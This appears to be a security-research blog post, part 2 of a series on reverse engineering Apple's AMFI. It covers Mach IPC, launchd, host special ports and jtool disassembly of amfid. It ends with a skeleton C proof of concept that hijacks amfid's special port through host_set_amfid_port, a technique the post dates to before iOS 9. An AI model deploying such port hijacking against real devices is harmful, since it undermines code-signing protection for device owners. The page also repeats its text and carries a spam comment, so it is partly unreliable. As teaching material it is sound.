Let's start with a quick recap of part 1 :
- We introduced MACF(Mandatory Access Control Framework)
- Learned a little about KEXTs and how they relate to MACF
- Got introduced to Policies in the context of MACF
- Learned to identify policies on both macOS and iOS
- Saw that AppleMobileFileIntegrity.KEXT is a policy module
- Delved a little into policy registration to extract and identify callback functions
Ad-hoc Binaries
As discussed in part 1, AAPL has full control of all system binaries and added the hashes of these binaries in the KEXT. These binaries as we saw are referred to as being ad-hoc signed and their validation involves a simple lookup of the hash in the KEXT's TrustCache.
The TrustCache is located in the __TEXT.__const section of the KEXT. So if we extract the hash of the amfid binary we should be able to find it in the TrustCache. This is demonstrated below where we first extract the signature:
macho-reverser:iOS10.3 macho-reverser$ jtool --sig amfid | grep CDHash
CDHash: 758a25a4549569ac0d36d3b69a92c937180a18e2 (computed)
macho-reverser:iOS10.3 macho-reverser$
And then locate it in the TrustCache:
You will have to search through the output as the CDHash is buried deep into the Cache.
Now there was a bug here - and we will discuss it next - as for a while you could trick hijack amfid and take over it's operations. AAPL fixed this in iOS 9 and now the KEXT verifies the hash before proceeding - as seen at offset 0xFFFFFFF00644F018.
As a side note to help with symbolication I use joker with the -j option to generate a companion file.
Inter-Process Communication(IPC) 101
*OS is built on the XNU kernel. And at the core of XNU is Mach. This microkernel handles among other things Interprocess communications and messaging. Mach's IPC services rely on the notion of "ports" which serve as communication endpoints. Servers and clients alike can allocate ports, however servers require either some type of locator service to allow clients to find them or otherwise need to be well-known. This is where the bootstrap server comes in. It's accessible to all processes on the system which may communicate with it via the bootstrap_port. Clients can request over this port, that the server look up a given service by its name and match them with its port. Here the name is a fully qualified name like "com.apple.MobileFileIntegrity" for example.
launchd
It used to be that mach_init took on the role of bootstrap_server, however launchd has since taken over this role and claims the port(bootstrap_port) during its startup. launchd is the first user-space program to be started by the kernel and therefore has a pid of 1. It's mission is simple - launch jobs(processes) with a specified criteria. Because all processes are it's spawns they inherit access to the bootstrap_port. And so if a service wishes to register - pre-launchd it would have been via the now deprecated api's bootstrap_create_server and bootstrap_create_service - with launchd it can do so in the server's plist and call bootstrap_check_in which will result in launchd handing over the port when it is ready to service requests:
Note also that launchd pre-registers the port in the server plist. This server port is usually ephemeral but may also be well known if the key HostSpecialPort is added. Finally on launchd, it runs both systems services(daemons) and per-user services(agents).
The server(daemon's) plists can be found in /System/Library/LaunchDaemons:
Ok, that was a lot of theory just now and you may be wondering how it all ties in. Well, if you look at amfid's server plist i.e. com.apple.MobileFileIntegrity.plist you will notice that the service will be registered using HOST_SPECIAL_PORT(18):
So what this means is that when the KEXT makes the up call to amfid it does so over this special port with a call to _host_get_special_port at offset 0xFFFFFFF00644EEE8. You can see the port being set at offset 0xFFFFFFF00644EEE0:
Stealing SPECIAL_PORTS
As we alluded to earlier, prior to iOS 9 amfid's special port could be usurped. This ccould be accomplished with a call to the host_set_amfid_port macro in <mach/host_special_ports.h>.
Let's look at an example of how we might be able to achieve this. Before proceeding however, let's first look at amfid's(225.50.12.0.0) normal initialization routine. So going back to jtool, we first list the segments:
And then we disassemble main (LC_MAIN) filtering on function calls. This will give us an idea of the general flow:
Note the call to _bootstrap_check_in that we discussed earlier. ARM'ed with this information, if we remove the calls we don't particularly care about like the logging routines etc, we end up with the following PoC:
It should be noted that the above PoC is incomplete as the handler logic needs to be added. But fear not, we get into this handler later on in the series.
Wrap Up
We have come to the end of part 2 in the series. To recap:
References:
1. Mac OS X and iOS Internals: To the Apple's Core - For IPC & launchd section
2. MacOS and iOS Internals, Volume III: Security & Insecurity
3. Mac OS X Internals: A Systems Approach
4. *OS Internals - The Forum
macho-reverser:AMFI macho-reverser$ jtool -d __TEXT.__const com.apple.driver.AppleMobileFileIntegrity.kext
You will have to search through the output as the CDHash is buried deep into the Cache.
amfid CDHash located in __TEXT.__const section |
Verifying amfid CDHash in KEXT |
Inter-Process Communication(IPC) 101
*OS is built on the XNU kernel. And at the core of XNU is Mach. This microkernel handles among other things Interprocess communications and messaging. Mach's IPC services rely on the notion of "ports" which serve as communication endpoints. Servers and clients alike can allocate ports, however servers require either some type of locator service to allow clients to find them or otherwise need to be well-known. This is where the bootstrap server comes in. It's accessible to all processes on the system which may communicate with it via the bootstrap_port. Clients can request over this port, that the server look up a given service by its name and match them with its port. Here the name is a fully qualified name like "com.apple.MobileFileIntegrity" for example.
launchd
It used to be that mach_init took on the role of bootstrap_server, however launchd has since taken over this role and claims the port(bootstrap_port) during its startup. launchd is the first user-space program to be started by the kernel and therefore has a pid of 1. It's mission is simple - launch jobs(processes) with a specified criteria. Because all processes are it's spawns they inherit access to the bootstrap_port. And so if a service wishes to register - pre-launchd it would have been via the now deprecated api's bootstrap_create_server and bootstrap_create_service - with launchd it can do so in the server's plist and call bootstrap_check_in which will result in launchd handing over the port when it is ready to service requests:
kern_return_t bootstrap_check_in(mach_port_t bp, // bootstrap_port
const name_t service_name, // name of service
mach_port_t *sp); // out: server port
Note also that launchd pre-registers the port in the server plist. This server port is usually ephemeral but may also be well known if the key HostSpecialPort is added. Finally on launchd, it runs both systems services(daemons) and per-user services(agents).
The server(daemon's) plists can be found in /System/Library/LaunchDaemons:
macho-reverser:LaunchDaemons macho-reverser$ ls -l
total 48
-rw-r--r-- 1 root wheel 678 Jun 15 17:37 bootps.plist
-rw-r--r-- 1 root wheel 909 Apr 4 2017 com.apple.AirPlayXPCHelper.plist
-rw-r--r-- 1 root wheel 811 Jul 31 21:21 com.apple.AppleFileServer.plist
-rw-r--r-- 1 root wheel 729 Jan 26 2017 com.apple.AssetCache.builtin.plist
-rw-r--r-- 1 root wheel 433 Mar 1 2017 com.apple.AssetCacheActivatorService.plist
-rw-r--r-- 1 root wheel 448 Mar 1 2017 com.apple.AssetCacheLocatorService.plist
-rw-r--r-- 1 root wheel 437 Mar 1 2017 com.apple.AssetCacheTetheratorService.plist
--
Ok, that was a lot of theory just now and you may be wondering how it all ties in. Well, if you look at amfid's server plist i.e. com.apple.MobileFileIntegrity.plist you will notice that the service will be registered using HOST_SPECIAL_PORT(18):
amfid plist w/ host_special_port |
AMFI.kext up call to amfid |
As we alluded to earlier, prior to iOS 9 amfid's special port could be usurped. This ccould be accomplished with a call to the host_set_amfid_port macro in <mach/host_special_ports.h>.
#define host_set_amfid_port(host, port) \
(host_set_special_port((host), HOST_AMFID_PORT, (port)))
Let's look at an example of how we might be able to achieve this. Before proceeding however, let's first look at amfid's(225.50.12.0.0) normal initialization routine. So going back to jtool, we first list the segments:
macho-reverser:iOS10.3 macho-reverser$ jtool -l amfid
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
LC 01: LC_SEGMENT_64 Mem: 0x100000000-0x100004000 __TEXT
Mem: 0x100002bd8-0x100003778 __TEXT.__text (Normal)
Mem: 0x100003778-0x1000039c4 __TEXT.__stubs (Symbol Stubs)
Mem: 0x1000039c4-0x100003c28 __TEXT.__stub_helper (Normal)
Mem: 0x100003c28-0x100003d48 __TEXT.__const
Mem: 0x100003d48-0x100003da6 __TEXT.__oslogstring (C-String Literals)
Mem: 0x100003da6-0x100003fb8 __TEXT.__cstring (C-String Literals)
Mem: 0x100003fb8-0x100004000 __TEXT.__unwind_info
LC 02: LC_SEGMENT_64 Mem: 0x100004000-0x100008000 __DATA
Mem: 0x100004000-0x100004090 __DATA.__got (Non-Lazy Symbol Ptrs)
Mem: 0x100004090-0x100004218 __DATA.__la_symbol_ptr (Lazy Symbol Ptrs)
Mem: 0x100004218-0x100004328 __DATA.__const
Mem: 0x100004328-0x100004348 __DATA.__cfstring
Mem: 0x100004348-0x100004350 __DATA.__data
LC 03: LC_SEGMENT_64 Mem: 0x100008000-0x100008000 __RESTRICT
Mem: 0x100008000-0x100008000 __RESTRICT.__restrict
LC 04: LC_SEGMENT_64 Mem: 0x100008000-0x10000c000 __LINKEDIT
LC 05: LC_DYLD_INFO
LC 06: LC_SYMTAB
Symbol table is at offset 0x8780 (34688), 69 entries
String table is at offset 0x8da0 (36256), 1464 bytes
LC 07: LC_DYSYMTAB
1 local symbols at index 0
1 external symbols at index 1
67 undefined symbols at index 2
No TOC
No modtab
116 Indirect symbols at offset 0x8bd0
LC 08: LC_LOAD_DYLINKER /usr/lib/dyld
LC 09: LC_UUID UUID: A3B3B122-E61E-3D39-B082-BEBE3FAA86CC
LC 10: LC_VERSION_MIN_IPHONEOS Minimum iOS version: 10.3.0
LC 11: LC_SOURCE_VERSION Source Version: 225.50.12.0.0
LC 12: LC_MAIN Entry Point: 0x3134 (Mem: 0x100003134)
LC 13: LC_LOAD_DYLIB /usr/lib/libmis.dylib
LC 14: LC_LOAD_DYLIB /usr/lib/libMobileGestalt.dylib
LC 15: LC_LOAD_DYLIB /System/Library/PrivateFrameworks/MobileKeyBag.framework/MobileKeyBag
LC 16: LC_LOAD_DYLIB /System/Library/Frameworks/CoreFoundation.framework/CoreFoundation
LC 17: LC_LOAD_DYLIB /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit
LC 18: LC_LOAD_DYLIB /usr/lib/libSystem.B.dylib
LC 19: LC_FUNCTION_STARTS Offset: 34664, Size: 24 (0x8768-0x8780)
LC 20: LC_DATA_IN_CODE Offset: 34688, Size: 0 (0x8780-0x8780)
LC 21: LC_CODE_SIGNATURE Offset: 37728, Size: 384 (0x9360-0x94e0)
And then we disassemble main (LC_MAIN) filtering on function calls. This will give us an idea of the general flow:
macho-reverser:iOS10.3 macho-reverser$ jtool -d 0x100003134 amfid | grep BL
Disassembling from file offset 0x3134, Address 0x100003134 to next function, mmapped 0x11a561000
10000316c BL libSystem.B.dylib::_getopt ; 0x100003928
10000319c BL libSystem.B.dylib::_os_log_create ; 0x100003964
1000031dc BL libSystem.B.dylib::_openlog ; 0x100003958
1000031e4 BL libSystem.B.dylib::_setlogmask ; 0x10000397c
1000031f4 BL libSystem.B.dylib::_syslog ; 0x1000039a0
100003210 BL libSystem.B.dylib::_bootstrap_check_in ; 0x1000038bc
100003218 BL libSystem.B.dylib::___error ; 0x100003898
100003220 BL libSystem.B.dylib::_strerror ; 0x100003988
100003234 BL libSystem.B.dylib::_syslog ; 0x1000039a0
100003270 BL libSystem.B.dylib::_fprintf ; 0x10000391c
100003278 BL libSystem.B.dylib::_exit ; 0x100003910
100003290 BL libSystem.B.dylib::_dispatch_source_create ; 0x1000038f8
1000032a8 BL libSystem.B.dylib::_syslog ; 0x1000039a0
1000032b0 BL libSystem.B.dylib::_exit ; 0x100003910
1000032b8 BL libSystem.B.dylib::_dispatch_set_context ; 0x1000038ec
1000032c8 BL libSystem.B.dylib::_dispatch_source_set_event_handler_f ; 0x100003904
1000032d0 BL libSystem.B.dylib::_dispatch_resume ; 0x1000038e0
1000032d4 BL libSystem.B.dylib::_dispatch_main ; 0x1000038c8
100003304 BL libSystem.B.dylib::_syslog ; 0x1000039a0
100003308 BL libSystem.B.dylib::_xpc_transaction_begin ; 0x1000039ac
10000331c BL libSystem.B.dylib::_dispatch_mig_server ; 0x1000038d4
100003324 BL libSystem.B.dylib::_xpc_transaction_end ; 0x1000039b8
10000333c BL libSystem.B.dylib::_syslog ; 0x1000039a0
100003350 BL libSystem.B.dylib::_syslog ; 0x1000039a0
100003418 BL libSystem.B.dylib::_memchr ; 0x100003934
1000034f8 BL 0x100002bd8
100003520 BL libSystem.B.dylib::_strlen ; 0x100003994
10000356c BL libSystem.B.dylib::___stack_chk_fail ; 0x1000038a4
100003600 BL 0x100002f5c
1000036c0 BL 0x1000030ec
100003748 BLR X8 ; 0x100000cfeedfacf
Note the call to _bootstrap_check_in that we discussed earlier. ARM'ed with this information, if we remove the calls we don't particularly care about like the logging routines etc, we end up with the following PoC:
// Code inspired by Jonathan Levin
#include <mach/mach.h>
#include <mach/mach_port.h>
#include <mach/mach_host.h>
#include <mach/host_priv.h>
#include <mach/host_special_ports.h>
#include <dispatch/dispatch.h>
#include <stdio.h>
#include <stdlib.h>
#define CHECK_MACH_ERROR(a) do {kern_return_t rr = (a); if ((rr) != KERN_SUCCESS) \
{ printf("Mach error %x (%s) on line %d of file %s\n", (rr), mach_error_string((rr)), __LINE__, __FILE__); abort(); } } while (0)
void handler_f (void *arg)
{
// Just a skeleton....
printf("Handle yo biznizz!! \n");
}
int main(int argc, char **argv)
{
char *service_name = "com.apple.MobileFileIntegrity";
mach_port_t myhost = mach_host_self();
mach_port_t jackedAmfi = MACH_PORT_NULL;
host_priv_t host_priv;
kern_return_t err;
err = host_get_host_priv_port(myhost, &host_priv);
CHECK_MACH_ERROR(err);
err = mach_port_allocate(mach_task_self(), // task acquiring the port right,
MACH_PORT_RIGHT_RECEIVE, // type of right,
&jackedAmfi); // task's name for the port right;
// insert a send right: we will now have combined receive/send rights
err = mach_port_insert_right(mach_task_self(), jackedAmfi, jackedAmfi, MACH_MSG_TYPE_MAKE_SEND);
CHECK_MACH_ERROR(err);
// Bait and switch
err = host_set_amfid_port(host_priv, jackedAmfi);
CHECK_MACH_ERROR(err);
// GCD housekeeping
dispatch_source_t ms = dispatch_source_create(&_dispatch_source_type_mach_recv,
jackedAmfi,
0,
&_dispatch_main_q);
if (!ms) { printf("Error creating mig source"); exit(1); }
dispatch_set_context(ms, &ms);
dispatch_source_set_event_handler_f (ms, handler_f);
dispatch_resume (ms);
dispatch_main();
}
It should be noted that the above PoC is incomplete as the handler logic needs to be added. But fear not, we get into this handler later on in the series.
Wrap Up
We have come to the end of part 2 in the series. To recap:
- We got a HIGH level introduction to Mach IPC
- Learned a bit about about launchd
- Introduced the concept of special_ports
- Determined how the KEXT communicated with it's daemon
- Saw how special_ports can be usurped
References:
1. Mac OS X and iOS Internals: To the Apple's Core - For IPC & launchd section
2. MacOS and iOS Internals, Volume III: Security & Insecurity
3. Mac OS X Internals: A Systems Approach
4. *OS Internals - The Forum
Continuing the exploration of Apple Mobile File Integrity (AMFI), part 2 delves deeper into the inner workings of this security mechanism. Godaddy Coupon Reverse engineering AMFI allows researchers.
ReplyDelete